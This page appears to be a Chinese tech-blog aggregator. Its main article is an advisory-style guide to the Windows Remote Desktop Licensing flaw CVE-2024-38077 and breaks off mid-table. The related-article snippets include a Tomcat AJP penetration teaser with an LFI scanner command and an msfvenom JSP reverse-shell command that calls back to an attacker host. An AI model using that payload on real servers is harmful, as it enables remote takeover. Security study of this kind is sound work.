当前位置： 首页 > news >正文

高危漏洞CVE-2024-38077的修复指南

news 2026/4/4 19:23:31

“

根据2024年8月9日，国家信息安全漏洞共享平台（CNVD）收录了Windows远程桌面许可服务远程代码执行漏洞（CNVD-2024-34918，对应CVE-2024-38077）。未经身份认证的攻击者可利用漏洞远程执行代码，获取服务器控制权限。目前，该漏洞的部分技术原理和概念验证伪代码已公开，厂商已发布安全更新完成修复。CNVD建议受影响的单位和用户安全即刻升级到最新版本。

一、漏洞情况分析

该漏洞存于Windows远程桌面许可管理服务(Remote Desktop License Service，RDL)中，RDL是Windows Server操作系统的一个服务，用于管理和颁发远程桌面连接（RDS）许可。攻击者无需任何前置条件，无需用户交互(零点击)便可直接获取服务器最高权限，执行任意操作。

RDL不是Windows Server操作系统的默认启用服务。默认情况下，Windows服务器远程桌面服务仅支持两个并发会话，在启用RDP多并发会话支持时，需要手动安装RDL服务。

2024年8月9日上午9时，研究人员在境外网站公开了RDL服务远程代码执行漏洞的部分技术原理和概念验证（POC）伪代码，该伪代码目前尚无法直接运行，研究者将其命名为狂躁许可（MadLicense）。RDL服务在解码用户输入的许可密钥包时，未正确验证解码后的数据长度与缓冲区大小之间的关系，从而导致堆缓冲区溢出。未经身份认证的攻击者利用该漏洞，通过远程向目标Windows Server服务器发送恶意构造的数据包，从而执行任意代码，实现对服务器的权限获取和完全控制。CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

漏洞名称Windows Server 远程桌面许可服务远程代码执行漏洞
漏洞类型远程代码执行
漏洞

相关文章：

高危漏洞CVE-2024-38077的修复指南

“ 根据2024年8月9日，国家信息安全漏洞共享平台（CNVD）收录了Windows远程桌面许可服务远程代码执行漏洞（CNVD-2024-34918，对应CVE-2024-38077）。未经身份认证的攻击者可利用漏洞远程执行代码，获取服务器控制权限。目前，该漏洞的部分技术原理和概念验证伪代码已公开，厂商…...

编程日记 2024/8/13 11:48:57

docker基本管理和应用

docker是一个开源的应用容器引擎，基于go语言开发的 docker是运行在linux的容器化工具，可以理解为轻量级的虚拟机 可以在任何主机上，轻松创建的一个轻量级，可移植的，自给自足的容器 鲸鱼--------->宿主机 集装箱…...

编程日记 2024/8/13 11:47:56

AI招聘在人才盘活中的作用：开启智慧人力新篇章

一、引言：AI赋能招聘新纪元 在21世纪的今天，随着科技的飞速发展，人工智能（AI）已经渗透到社会经济的各个角落，其中，人力资源管理领域也不例外。AI技术的引入，不仅颠覆了传统的招聘模…...

编程日记 2024/8/13 11:46:55

探索SD NAND配套测试工具：工程师的得力助手

在快速发展的存储技术领域，SD NAND因其高速读写、低功耗和高可靠性而广受青睐。然而，对于工程师来说，验证SD NAND的性能并非易事，为了便于工程师验证，MK 米客方德开发设计了SD NAND配套测试工具。 一、SD NAND转接板简…...

编程日记 2024/8/13 11:44:52

三十六、【人工智能】【机器学习】【监督学习】- Bagging算法模型

系列文章目录 第一章 【机器学习】初识机器学习 第二章 【机器学习】【监督学习】- 逻辑回归算法 (Logistic Regression) 第三章 【机器学习】【监督学习】- 支持向量机 (SVM) 第四章【机器学习】【监督学习】- K-近邻算法 (K-NN) 第五章【机器学习】【监督学习】- 决策树…...

编程日记 2024/8/13 11:42:49

2024年8月8日（python基础）

一、检查并配置python环境（python2内置） 1、检测是否安装 [rootlocalhost ~]# yum list installed| grep python [rootlocalhost ~]# yum -y install epel-release 2、安装python3 [rootlocalhost ~]# yum -y install python3 最新版3.12可以使用源码安…...

编程日记 2024/8/13 11:41:48

SpringAOP_面向切面编程

一、什么是StringAOP AOP(Aspect-Oriented Programming: 面向切面编程)：将那些与业务无关， 却为业务模块所共同调用的逻辑（例如事务处理、日志管理、权限控制等）封装抽取成一个可重用的模块，这个模块被命名为“切面”&…...

编程日记 2024/8/13 11:39:45

芯片bring-up的测试用例

文章目录 前言一、测试用例的规划和编写原则1、冒烟测试1）电源时钟复位测试2）寄存器扫描测试3）单一功能冒烟测试 二、遍历测试三、随机测试四、性能测试五、压力测试 总结 前言 最近做了一些用测试用例点亮芯片的工作，从测试用例…...

编程日记 2024/8/13 11:38:44

vs code编辑区域右键菜单突然变短

今天打开vs code发现鼠标在编辑区域按右键，出来的菜单只显示一小段 显示不全，而之前的样子是 显示很多项，怎么设置回到显示很多项呢？...

编程日记 2024/8/13 11:35:41

如何将TRIZ的“最终理想解”应用到机器人电机控制设计中？

TRIZ理论，作为一套系统的创新方法论，旨在帮助设计师和工程师突破思维惯性，解决复杂的技术难题。其核心思想之一便是“最终理想解”，它如同一盏明灯，指引着我们在技术创新的道路上不断前行。最终理想解追求的是产品或技…...

编程日记 2024/8/13 11:29:34

【记录】基于docker部署小熊派BearPi-Pico H3863开发环境

参考：📝 Ubuntu环境下开发环境搭建 | 小熊派BearPi 过程 在物理机中创建一个工作路径 /home/luo/locke/BearPi/BearPi_Pico_H3863创建docker容器 docker run -it \ --privilegedtrue --cap-addALL \ --name BearPi-Pico_H3863_env \ -v /home/luo/lo…...

编程日记 2024/8/13 11:27:33

Elasticsearch 与 OpenSearch：谁才是搜索霸主

Elasticsearch简介 Elasticsearch 是一个开源的、基于 RESTful 接口的分布式搜索和分析引擎，它利用了 Apache Lucene 的强大功能。 它特别适合处理大规模数据，这使得它成为管理和分析日志及事件数据的理想选择。 Elasticsearch 以其即时性而著称&…...

编程日记 2024/8/13 11:26:30

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…...

编程日记 2024/8/13 11:24:27

嵌入式初学-C语言-二一

数组指针 概念&#xff1a;数组指针是指向数组的指针。 特点&#xff1a; 先有数组&#xff0c;后有指针 它指向的是一个完整的数组。 一维数组指针 数据类型 (*指针变量名)[容量]&#xff1b; 案例&#xff1a; /** * 数组指针&#xff1a;指向数组的指针 */ #include <…...

编程日记 2024/8/13 11:22:25

2376. 统计特殊整数

Powered by:NEFU AB-IN Link 文章目录 2376. 统计特殊整数题意思路代码 2376. 统计特殊整数 题意 如果一个正整数每一个数位都是 互不相同 的&#xff0c;我们称它是 特殊整数 。 给你一个 正 整数 n &#xff0c;请你返回区间 [1, n] 之间特殊整数的数目。 思路 详见灵神…...

编程日记 2024/8/13 11:21:24

Python 绘图进阶之核密度估计图：掌握数据分布的秘密

Python 绘图进阶之核密度估计图&#xff1a;掌握数据分布的秘密 引言 在数据分析中&#xff0c;了解数据的分布情况是至关重要的一步。除了常用的直方图和箱线图&#xff0c;核密度估计图&#xff08;Kernel Density Estimation, KDE&#xff09;提供了一种更为平滑、直观的方…...

编程日记 2024/8/13 11:16:18

设计模式（1）创建型模式和结构型模式

1、目标 本文的主要目标是学习创建型模式和结构型模式&#xff0c;并分别代码实现每种设计模式 2、创建型模式 2.1 单例模式&#xff08;singleton&#xff09; 单例模式是创建一个对象保证只有这个类的唯一实例&#xff0c;单例模式分为饿汉式和懒汉式&#xff0c;饿汉式是…...

编程日记 2024/8/13 11:15:17

RuoYi-Vue新建模块

一、环境准备 附：RuoYi-Vue下载与运行 二、新建模块 在RuoYi-Vue下新建模块ruoyi-test。 三、父pom文件添加子模块 在RuoYi-Vue的pom.xml中，引入子模块。 <dependency><groupId>com.ruoyi</groupId><artifactId>ruoyi-test</artifactId>&…...

编程日记 2024/8/13 11:13:14

Element-UI自学实践

概述 Element-UI 是由饿了么前端团队推出的一款基于 Vue.js 2.0 的桌面端 UI 组件库。它为开发者提供了一套完整、易用、美观的组件解决方案&#xff0c;极大地提升了前端开发的效率和质量。本文为自学实践记录&#xff0c;详细内容见 &#x1f4da; ElementUI官网 1. 基础组…...

编程日记 2024/8/13 11:12:12

ChatGPT如何工作：创作一首诗的过程

疑问 怎样理解 Chat GPT 的工作原理&#xff1f;比如我让他作一首诗&#xff0c;他是如何创作的呢&#xff1f;每一行诗&#xff0c;每一个字都是怎么来的&#xff1f;随机拼凑的还是从哪里借鉴的&#xff1f; 回答 当你让 ChatGPT 创作一首诗时&#xff0c;它并不是简单地随…...

编程日记 2024/8/13 11:08:07

Kazumi：开源动漫聚合工具如何重塑你的追番体验

Kazumi&#xff1a;开源动漫聚合工具如何重塑你的追番体验 【免费下载链接】Kazumi 基于自定义规则的番剧采集APP&#xff0c;支持流媒体在线观看&#xff0c;支持弹幕&#xff0c;支持实时超分辨率。 项目地址: https://gitcode.com/gh_mirrors/ka/Kazumi 在数字娱乐爆…...

编程新知 2026/4/4 18:30:11

第6章 数据类型转换-6.6 转换为元组

通过使用tuple()函数可以将字符串、列表或集合转换为元组。其语法格式如下&#xff1a;tuple([x])其中&#xff0c;参数x为可选参数&#xff0c;表示字符串、列表或集合&#xff0c;如果省略该参数&#xff0c;则该函数返回空元组。示例代码如下&#xff1a;# 资源包\Code\chap…...

编程新知 2026/4/4 18:13:54

多平台直链获取：突破网盘下载限制的开源解决方案

多平台直链获取&#xff1a;突破网盘下载限制的开源解决方案 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云盘 …...

编程新知 2026/4/4 17:25:36

10分钟快速上手SecGPT：网络安全大模型入门实战指南

10分钟快速上手SecGPT&#xff1a;网络安全大模型入门实战指南 【免费下载链接】SecGPT SecGPT网络安全大模型 项目地址: https://gitcode.com/gh_mirrors/se/SecGPT SecGPT是全球首个网络安全开源大模型&#xff0c;专为网络安全场景打造&#xff0c;旨在以人工智能技术…...

编程新知 2026/4/4 14:32:48

SDXL-Turbo创作分享：用实时绘画工具生成的精美作品案例

SDXL-Turbo创作分享&#xff1a;用实时绘画工具生成的精美作品案例 1. 引言&#xff1a;实时AI绘画的新纪元 想象一下这样的场景&#xff1a;你正在构思一个赛博朋克风格的城市景观&#xff0c;随着键盘的每一次敲击&#xff0c;眼前的画面实时变化&#xff0c;就像魔术师挥动…...

编程新知 2026/4/4 14:26:40

OpenClaw内存优化：千问3.5-35B-A3B-FP8在8GB设备的运行技巧

OpenClaw内存优化&#xff1a;千问3.5-35B-A3B-FP8在8GB设备的运行技巧 1. 为什么需要内存优化 当我第一次尝试在8GB内存的MacBook Pro上运行千问3.5-35B-A3B-FP8模型时&#xff0c;系统几乎立即崩溃了。这让我意识到&#xff0c;想要在资源有限的设备上运行大型语言模型&…...

编程新知 2026/4/4 13:56:28

当stm32遇上ai：利用快马平台辅助开发嵌入式语音关键词识别原型

最近在做一个嵌入式语音识别的小项目&#xff0c;用STM32F4开发板实现关键词唤醒功能。作为一个嵌入式开发者&#xff0c;第一次尝试把AI算法部署到资源有限的MCU上&#xff0c;整个过程踩了不少坑&#xff0c;也发现了一些高效开发的技巧&#xff0c;特别是借助InsCode(快马)平…...

编程新知 2026/4/4 13:38:10

高质量建站引领数字化转型 ——2026 上海网站建设行业现状与标杆服务商盘点

2026年上海网站建设行业发展现状与高质量建站核心诉求据中国信通院《2026年中国GEO优化行业发展白皮书》、上海市商务委员会2026年一季度数据联合统计&#xff0c;上海企业数字化转型渗透率已达78%&#xff0c;国内GEO市场规模突破286亿元&#xff0c;年增长率125%&#xff1b;…...

编程新知 2026/4/4 12:14:34

Qwen3-ASR-0.6B真实效果：直播间弹幕语音→实时字幕滚动+敏感词过滤联动

Qwen3-ASR-0.6B真实效果&#xff1a;直播间弹幕语音→实时字幕滚动敏感词过滤联动 1. 开篇&#xff1a;直播间语音转文字的痛点 做直播的朋友都知道&#xff0c;实时字幕是个让人又爱又恨的功能。爱的是它能提升观众体验&#xff0c;让不方便开声音的人也能看懂内容&#xff…...

编程新知 2026/4/4 12:08:21

C++ 模板参数推导机制剖析

C 模板参数推导机制剖析 C的模板参数推导是泛型编程的核心机制之一&#xff0c;它允许编译器在调用模板函数或类时自动推断类型参数&#xff0c;从而减少冗余代码并提升开发效率。理解这一机制不仅能帮助开发者编写更灵活的代码&#xff0c;还能避免因类型推导错误导致的编译问…...

编程新知 2026/4/4 12:02:19